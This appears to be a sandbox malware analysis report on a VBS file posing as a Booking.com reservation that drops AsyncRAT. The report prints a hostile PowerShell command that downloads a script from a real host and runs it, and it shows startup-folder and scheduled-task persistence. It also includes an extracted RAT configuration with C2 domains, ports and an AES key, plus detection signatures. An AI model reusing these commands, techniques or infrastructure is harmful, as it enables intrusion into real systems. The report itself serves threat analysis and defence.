14.2.powershell.exe.2a173272d80.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x38a10:$s1: file:/// 0x38948:$s2: {11111-22222-10009-11112} 0x389a0:$s3: {11111-22222-50001-00000} 0x33250:$s4: get_Module 0x35915:$s5: Reverse 0x381ee:$s6: BlockCopy 0x38283:$s7: ReadByte 0x38a24:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
25.2.powershell.exe.18786a18480.1.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
25.2.powershell.exe.18786a18480.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
25.2.powershell.exe.18786a18480.1.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd670:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xfe38:$a2: Stub.exe 0xfec8:$a2: Stub.exe 0x9c56:$a3: get_ActivatePong 0xd888:$a4: vmware 0xd700:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xac56:$a6: get_SslClient
30.2.powershell.exe.1ed141288a8.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
30.2.powershell.exe.1ed141288a8.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
30.2.powershell.exe.1ed141288a8.0.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd670:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xfe38:$a2: Stub.exe 0xfec8:$a2: Stub.exe 0x9c56:$a3: get_ActivatePong 0xd888:$a4: vmware 0xd700:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xac56:$a6: get_SslClient
18.2.powershell.exe.25dc66c8ce0.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
18.2.powershell.exe.25dc66c8ce0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
18.2.powershell.exe.25dc66c8ce0.0.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd670:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xfe38:$a2: Stub.exe 0xfec8:$a2: Stub.exe 0x9c56:$a3: get_ActivatePong 0xd888:$a4: vmware 0xd700:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xac56:$a6: get_SslClient
14.2.powershell.exe.2a1634d9528.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
14.2.powershell.exe.2a1634d9528.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.powershell.exe.2a1634d9528.0.raw.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xd670:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xfe38:$a2: Stub.exe 0xfec8:$a2: Stub.exe 0x9c56:$a3: get_ActivatePong 0xd888:$a4: vmware 0xd700:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0xac56:$a6: get_SslClient
Click to see the 37 entries

Other

Source	Rule	Description	Author
amsi64_2608.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_5676.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_6256.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_6824.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution of Powershell Script in Public Folder

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1", CommandLine: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1", ProcessId: 2608, ProcessName: powershell.exe

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4592, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Public\1tron.vbs" , ProcessId: 3208, ProcessName: wscript.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4592, TargetFilename: C:\Users\Public\1tron.bat

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1", CommandLine: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\1tron.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4752, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.e"xe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\1tron.ps1", ProcessId: 2608, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", CommandLine|base64offset|contains: Z, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", ProcessId: 1396, ProcessName: wscript.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4592, TargetFilename: C:\Users\Public\1xx.txt

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, ProcessId: 4592, ProcessName: powershell.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4592, TargetFilename: C:\Users\Public\1tron.vbs

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, ProcessId: 4592, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, ProcessId: 4592, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", CommandLine|base64offset|contains: Z, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", ProcessId: 1396, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Reservation Detail Booking.com ID4336.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1396, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass [scriptblock]::Create((Invoke-WebRequest 'https://skynetx.com.br/license/2/image.txt').Content).Invoke();, ProcessId: 4592, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4592, TargetFilename: C:\Users\Public\1tron.ps1

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2724, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 4592, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:00:19.942007+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.5	49784	TCP
2024-11-02T14:01:01.611294+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.5	50262	TCP

ET MALWARE Generic AsyncRAT Style SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:01:28.787515+0100	2035595	1	Domain Observed Used for C2 Detected	128.90.129.125	9443	192.168.2.5	50448	TCP

ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:01:28.787515+0100	2035607	1	Domain Observed Used for C2 Detected	128.90.129.125	9443	192.168.2.5	50448	TCP

ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:00:54.068900+0100	2009208	1	A Network Trojan was detected	192.168.2.5	60294	85.17.88.164	3478	UDP

ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:00:54.687532+0100	2009205	1	A Network Trojan was detected	192.168.2.5	60296	154.73.34.8	3478	UDP

ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:00:44.038228+0100	2009207	1	A Network Trojan was detected	192.168.2.5	60294	212.227.67.33	3478	UDP
2024-11-02T14:01:35.148001+0100	2009207	1	A Network Trojan was detected	192.168.2.5	60296	85.93.219.114	3478	UDP
2024-11-02T14:02:17.024552+0100	2009207	1	A Network Trojan was detected	192.168.2.5	60294	82.113.193.63	3478	UDP

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:01:28.787515+0100	2842478	1	Malware Command and Control Activity Detected	128.90.129.125	9443	192.168.2.5	50448	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-02T14:00:11.036643+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49738	24.152.39.120	443	TCP
2024-11-02T14:00:12.281193+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49746	24.152.39.120	443	TCP
2024-11-02T14:00:13.550368+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49751	24.152.39.120	443	TCP
2024-11-02T14:00:14.774550+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49754	24.152.39.120	443	TCP
2024-11-02T14:00:16.069926+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49759	24.152.39.120	443	TCP
2024-11-02T14:00:17.303531+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49767	24.152.39.120	443	TCP
2024-11-02T14:00:18.644570+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49782	24.152.39.120	443	TCP
2024-11-02T14:00:19.922908+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49787	24.152.39.120	443	TCP
2024-11-02T14:00:21.141168+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49795	24.152.39.120	443	TCP
2024-11-02T14:00:23.059767+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49803	24.152.39.120	443	TCP
2024-11-02T14:00:25.520046+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49832	24.152.39.120	443	TCP
2024-11-02T14:00:27.886540+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49883	24.152.39.120	443	TCP
2024-11-02T14:00:29.729447+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49918	24.152.39.120	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack

Malware Configuration Extractor: AsyncRAT {"Server": "cdt2023.ddns.net,chromedata.accesscam.org,chromedata.webredirect.org,cepas2023.duckdns.org,127.0.0.1,45.40.96.97", "Ports": "6606,7707,8808,3313,3314,9441,9442,9443,2900,1018,2019,2020,2021,5155,6666,9999,5505", "Version": "AWS | 3Losh", "Autorun": "false", "Install_Folder": "%AppData%", "Install_File": "svchost.exe", "AES_key": "JrdGtXYbFZXroXsLKqc1s0Y7ardm5xKr", "Mutex": "AsyncMutex_6SI8OkPnk", "AntiDetection": "false", "External_config_on_Pastebin": "false", "BDOS": "null", "Startup_Delay": "3", "HWID": "1PsVeBGAIf/bjOA2Sw+olEA6i2wbuUnZObLDhhgCdzg/2qM0jZCPw4wyv1dfaJyo4fsjMV9+iRUpHVuc9A51gw==", "Certificate": "MIIE8jCCAtqgAwIBAgIQAPeWQ4YJ3MvReCGwLzn7rTANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjIwNDI1MDA0MTA5WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKT9nYYTjYTZhY+g1tekZ8/F29gsEIDgf/8odvCbCmYKGGZZi2yND9NjtBXEMANM9PAXCyMapGvapDPbWgjYkLiMw/Vwa3kZRg7kLpXMpzInLQufe7Q587viilcsGDoVXmnf51/SwsKPjSysZUpyayezUlJ1j6aXkZGnasiqJ7iKANdSneQducOn6IwaEuJBmpXKWxhhq8R9JMfiWeOXL/hXoE/wCzwzvU/CrzPXd3uMsLfFMDHZJ+OQ9OXKU/CHZNCgSPs4VSgCgM4eK0YTbu1mLsWSo5th3/ingNFaTyYmGsmLIE2Jq5AR1A+xA+FEdC8zKL1bAwYQcRgIJs7QdedtAIufepPZ9D5HiOiy3ITYVonqwTiiIm20en7UICt+J8iDb4M2Q2iLWA7Yi9PN2cr0Xrs8A4/RL29Qe5Ly2k35i74RiBTiT7Jbl2r7PcYlUGcjTCbdB9PWt3dYaTysuamoq2Zuo2HVRhhoZpwnajS9vNcjuZCYVoQvUQBUnHTeRZrtHXU5JV59ZBlu7flZneMZnbrWXTxob6Bdt8+hrGoSDMWBFcO4jRzhT3hEFUpu4lSFeb9T3Vx4KWkHJhHtMvHuYgDTXERdEcI00sOUbVxgd/62LhGXNNommQKCyiAGj0V5uLD73Fyw8vJpm3jXf3NgNt/CjnlaMc40DJ+HlXE5AgMBAAGjMjAwMB0GA1UdDgQWBBQsT2WvtxGUK29SWs4sHz1xYye0fzAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQCK5sVfnYyT5MqnCg3uHV2ojf12fIVFCY02Cc7gy3DVoE6/xZCPjr22V/xZunZ7DG1nt0kOJKDwdQYnGoMc5UPh8jbNRoc1ojLOCaluaIYQyl8AGkmUSRA3Ltk0XetDescffrWT/nKuRvIEYU4Ra+B39f8ouGMCa7VXaxnGJ0z0BkUie8KsDLgNmJ7/kVfIYuRxl+YefoCsUTCogqf0fu3DuRHBpUVaSQQOf9YCbvFWH7Nupc3UIwpH5D8kSdpKusEfbRp8nfWN/Fm+lzF3THeHU6vNJ+5UoAWHYFW8wfJCbzQ/0L8QZeOv4uy74oQP2Ed0RdrWCwUL6SSsDPZdDEOy4K4vVYkDTl1nL5tleATguELAEbbT42oLce85z4C7sKvpEfa4DPbU55xBLwvHniILFfjB7VVsrgVckUL/lEf4Y92uJVKvLGruQt/mtKSqIuJjD8T9y7RIsk6g9624egV5UtLtv+36kLKhgIJlqC7Xx/PVwMc2yw8BiQlvxQZgqSd1k7QmV1AhV/3z2wqnYmb09ibTMYaMFjtamFegeFqc4jRLABhVQFEFv8z5E6G9vgKn5mQDWS/JykARBv9o2BjL/PTADfwAtc1b4nWo0l+CI8IjjYXu/mJOuwR+kFJ19INtwbffQvT9U12t4smpcZV+OK0opk4Yr9r1tZYm92ghXA==", "ServerSignature": "ic1DyM98ThqA6W2quqV+4LtfJL93dIPZS9ORFCy3Aprb6+WEKwwt1rsgZ5Ra84KjlL9Qa88G83c8kVnI84q94Pt3yoFXOP+06YX+cvIwpMLeSECugCoIf9BDNv9FHA03mf8gBf8fw+wvJQHAorEzuWYCKrGzjCAEyQvLrOQffSlxp6Pip/VkfA2/w87zTcFF+HKZJ1E4sZK+ynabafUM5NgzmlxoVlvzKwQzxezL+uDVVvK90uUPPxo1PErATFzfRlxGVkThWMeHjqYsmcK9RLrifGf86MzMqBkC96HVSqJJuzZrlsYqniXRgwINZzvUvMepaID9ZrkBZzQ/GHUCmuM1LPtBEdaUrLvz+CZ9XZGNpClcDRV3348YVJMZzmIFFQn303j1p47paukKSBC45LW7y1IkZ8wCgOrmsYimSDicAd2PVsAB0TAzhHi+0z0o5nIiHRcVzK93H7uZDQxZBSUp9SoLaeEHbOsjBfDZL2mQik2zmd3GqGUmbxEck75N7pHNpXlUFPib2GE1wR0cG4HDlLRC8KcdStBF6RYxwe0Cp2tgQsgzsKAZbHYspuOxcN9JJRUD+f8k49WccUjJGJ4WzBnporak6mgf0cM2IvVnbs6SKTWkyKSRy8SQhy4e

Multi AV Scanner detection for submitted file

Source: Reservation Detail Booking.com ID4336.vbs

ReversingLabs: Detection: 26%

Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI

HTTP Parser: <input type="password" .../> found but no <form action="...

HTTP Parser: Title: Sign in | Booking.com does not match URL

HTTP Parser: Iframe src: https://ls.cdn-gw-dv.vip/dedge/zd/zd-service.html

HTTP Parser: <input type="password" .../> found

Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
